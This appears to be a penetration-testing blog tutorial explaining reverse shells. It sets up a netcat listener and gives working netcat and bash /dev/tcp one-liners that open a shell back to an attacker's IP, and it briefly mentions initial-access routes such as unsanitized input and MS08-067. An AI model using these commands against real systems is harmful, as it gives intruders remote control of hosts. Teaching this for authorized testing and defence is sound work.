Welcome and Hello! Let's get started… Today's topic: Reverse Shells
What is a Reverse Shell?
A reverse shell is a method by which penetration testers (and bad guys!) can gain a shell, or user command access, on a target. They are very useful because they initiate communication from a trusted host inside the perimeter to a host outside of the perimeter. This means a reverse shell has the capability to bypass firewall ingress rules, which would prevent incoming connections - aka bind shells - from reaching into the network to gain user command access on a host.
See this SANS paper by Richard Hammer for a good overview of Reverse Shells.
Gaining a Reverse Shell
The first thing I do is start my listener. This listener is crucial, as it waits for commands I will send it from my victim's host and then do something useful with them.
On my attack box (10.25.43.35):
$ nc -lv 8080
Now, netcat (or nc) is listening on port 8080 for incoming connections (-l) and will print them verbosely (-v) to standard output. All of the reverse shell methods detailed below will reach back to this listener to establish a connection with my attack host.
On the target's box: Here, I may or may not have several options for communicating back to my host. I'll outline two methods, using netcat and bash, which are common binaries found on a target Unix box.
Note: These commands all work under the assumption I can execute commands in a limited fashion on my victim's host already. “Why go through the trouble of opening a reverse shell if you can already access commands on your target?” would be a valid question. During a penetration test, you may discover you have the limited ability to execute a command on a remote host. For instance, an un-sanitized text entry box on a website may allow you to pass a command the web server wasn't expecting. Perhaps you've tricked a user into clicking on a malicious link, or opening a malicious file which executes a small set of commands. Maybe your target is running Windows XP and hasn't patched against MS08-067 (still my favorite exploit of all time :D). Whatever the reason you don't have full interactive access to your target, but you want it. You crave it. I do, too!
$ nc -e /bin/sh 10.25.43.35 8080
This causes my victim's box to execute /bin/sh and connect to my attacker's box over port 8080. As you can see in the screenshot, I'm not getting a lot of feedback in the shell (note: no prompt)
$ bash -i > /dev/tcp/10.25.43.35/8080 0<&1 2>&1
This uses the bash shell's I/O redirection and built-in method for TCP connections to open a reverse shell. I particularly like this method because the syntax gives me a headache (I'm still trying to wrap my head around this level of I/O redirection) and because nearly every Unix box has bash installed.
If your victim's host has python, perl, php, or ruby installed - which is very likely - you can check out pentestmonkey's cheat sheet for examples of how to gain reverse shells using those methods.